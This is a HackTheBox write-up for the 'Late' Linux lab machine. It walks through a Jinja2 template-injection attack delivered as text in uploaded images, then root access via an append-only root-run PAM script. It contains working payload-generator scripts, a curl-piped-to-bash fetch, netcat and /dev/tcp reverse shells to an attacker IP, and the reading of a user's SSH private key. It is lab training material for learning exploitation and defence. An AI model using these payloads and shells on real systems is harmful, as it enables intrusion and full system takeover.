HTB: Late Writeup

Late - HackTheBox Writeup

Machine Information

AttributeDetails
NameLate
OSLinux
DifficultyEasy
PointsN/A
Release Date16th May 2022
IP Address10.10.11.156
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Late is an Easy Linux machine featuring a Flask-based text recognition application vulnerable to Server Side Template Injection (SSTI). The vulnerability exists in the image-to-text conversion functionality, allowing arbitrary code execution as the svc_acc user. Privilege escalation is achieved through a cron-executed script with append-only permissions, enabling injection of commands that execute with root privileges.

TL;DR: SSTI in Flask application → RCE as svc_acc → Append reverse shell to root-executed script via append-only attribute → Root shell


Reconnaissance

Port Scanning

Terminal window
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.156 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.156

Results:

  • Port 22/TCP: OpenSSH 7.4p1
  • Port 80/TCP: Nginx 1.14.0 (HTTP web server)

Service Enumeration

The main web server on port 80 hosts late.htb. Enumerating DNS entries reveals a subdomain images.late.htb. Adding this to /etc/hosts:

Terminal window
echo '10.10.11.156 late.htb images.late.htb' | sudo tee -a /etc/hosts

Visiting images.late.htb reveals a Flask-based application that converts uploaded images to text using OCR technology. The application accepts image files and returns extracted text content.

Vulnerability Assessment

  1. Server Side Template Injection (SSTI): Flask applications use Jinja2 template engine by default. The text extraction output may process user-controlled data through templates without sanitization.
  2. Remote Code Execution: If SSTI is present, template expressions can access global namespace and execute arbitrary Python/system commands.
  3. File Append Permissions: System scripts may have append-only attributes allowing privilege escalation vectors.

Initial Foothold

Exploitation Path

Step 1: SSTI Vulnerability Detection

Create a Python script to generate test images with Jinja2 template payloads:

from PIL import Image, ImageDraw, ImageFont
def main():
img = Image.new('RGB', (2000, 100))
draw = ImageDraw.Draw(img)
myFont = ImageFont.truetype('LiberationMono-Regular.ttf', 15)
payload = "{{ 191 * 7 }}" # Will evaluate to 1337 if vulnerable
draw.text((0, 3), payload, fill=(255, 255, 255), font=myFont)
img.save('payload.png')
if __name__ == '__main__':
main()

Upload the generated image to images.late.htb. The application returns 1337 in the text output, confirming SSTI vulnerability.

Step 2: Remote Code Execution

Modify the script to execute arbitrary commands using the Jinja2 payload:

from PIL import Image, ImageDraw, ImageFont
import sys
def main():
if len(sys.argv) < 2:
print('Usage: {} <cmd>'.format(sys.argv[0]))
exit()
img = Image.new('RGB', (2000, 100))
draw = ImageDraw.Draw(img)
myFont = ImageFont.truetype('LiberationMono-Regular.ttf', 15)
payload = """{{{{
self._TemplateReference__context.namespace.__init__.__globals__.os.popen("{cmd}").read()
}}}}""".format(cmd=sys.argv[1])
draw.text((0, 3), payload, fill=(255, 255, 255), font=myFont)
img.save('payload.png')
if __name__ == '__main__':
main()

Test command execution:

Terminal window
python3 image.py "id"

Upload the image and verify the output shows uid=1000(svc_acc), confirming code execution as the svc_acc user.

Step 3: Reverse Shell Acquisition

Create a reverse shell payload file:

shell.sh
#!/bin/bash
rm /tmp/wk;mkfifo /tmp/wk;cat /tmp/wk|/bin/sh -i 2>&1|nc 10.10.14.37 1337 >/tmp/wk

Host the shell script:

Terminal window
python3 -m http.server 8000

Start a Netcat listener:

Terminal window
nc -lvnp 1337

Generate and upload the command execution payload:

Terminal window
python3 image.py "curl 10.10.14.37:8000/shell.sh|bash"

A reverse shell is received as user svc_acc. The user flag is located in /home/svc_acc/user.txt.


Privilege Escalation

Step 1: SSH Key Extraction

Copy the SSH private key from the compromised user:

Terminal window
cat /home/svc_acc/.ssh/id_rsa

Save locally and establish a stable SSH connection:

Terminal window
ssh -i ssh.key svc_acc@late.htb

Step 2: Privilege Escalation Vector Discovery

Enumerate files owned by svc_acc:

Terminal window
find / -type f -user svc_acc 2>/dev/null

The script /usr/local/sbin/ssh-alert.sh is identified as owned by svc_acc. Examine its contents:

Terminal window
cat /usr/local/sbin/ssh-alert.sh

The script is executed as root upon SSH login/logout events (via PAM hooks).

Step 3: File Attribute Analysis

Check standard permissions:

Terminal window
ls -l /usr/local/sbin/ssh-alert.sh

Attempts to write directly result in permission denied. Check extended file attributes:

Terminal window
lsattr /usr/local/sbin/ssh-alert.sh

Output shows the a (append-only) attribute. This restriction allows appending data without overwriting the original script.

Step 4: Root Shell Acquisition

Append a reverse shell to the script:

Terminal window
echo "bash -i >& /dev/tcp/10.10.14.37/1337 0>&1" >> /usr/local/sbin/ssh-alert.sh

Start a new Netcat listener on the attack machine:

Terminal window
nc -lvnp 1337

Trigger script execution by closing the SSH session:

Terminal window
exit

When the SSH session closes, the PAM hook executes /usr/local/sbin/ssh-alert.sh as root, triggering the appended reverse shell. A root shell is received. The root flag is located in /root/root.txt.


Attack Chain Summary

Nmap Scan → Discover Port 80 (Nginx)
Subdomain Enumeration → Find images.late.htb
SSTI Detection → {{ 191 * 7 }} = 1337
RCE Exploitation → os.popen() via Jinja2
Reverse Shell as svc_acc → Obtain User Flag
SSH Access → Stable Shell via Private Key
Find Root-Executed Script → /usr/local/sbin/ssh-alert.sh
Append-Only Attribute Detection → lsattr reveals 'a' flag
Reverse Shell Injection → echo >> ssh-alert.sh
Trigger PAM Hook → SSH Logout Execution
Root Shell → Obtain Root Flag

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlHTTP requests and file downloads
nc (Netcat)Reverse shell listener and data transfer
sshSecure shell access
scpSecure file transfer
findFile discovery and ownership enumeration
lsattrExtended file attribute inspection
python3 (PIL)Image generation with embedded payloads
pspyProcess monitoring for privilege escalation analysis

Key Learnings

Techniques Practiced

  • Server Side Template Injection (SSTI): Exploiting unsanitized user input in template engines
  • Jinja2 Exploitation: Accessing global namespace to execute arbitrary Python functions
  • Image-based Payload Delivery: Encoding malicious payloads in image metadata/content
  • PAM Hooks: Understanding Linux Pluggable Authentication Modules and execution context
  • File Attributes: Leveraging append-only restrictions for privilege escalation
  • Stable Shell Acquisition: Converting initial RCE to persistent SSH access
  • Process Monitoring: Using tools like pspy to identify privilege escalation vectors

Lessons Learned

  1. Template Engine Security: Never pass untrusted user input directly to template rendering functions. Always sanitize and escape user-controlled data.

  2. Defense in Depth: File permissions alone are insufficient; extended attributes (like append-only) provide additional security layers that must be considered during exploitation and defense.

  3. Privilege Escalation via Append: Append-only files executing as root can be exploited if an unprivileged user owns them—always review ownership of scripts in privileged execution paths.

  4. PAM Authentication Hooks: SSH authentication triggers PAM modules that may execute custom scripts with elevated privileges; audit /etc/pam.d/ configurations.

  5. Stable Shell Importance: Initial RCE shells may be fragile; extracting SSH keys and establishing persistent access enables deeper system exploration.

  6. Enumeration Depth: Combining multiple enumeration techniques (find, lsattr, pspy) reveals privilege escalation paths that single-vector scanning would miss.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>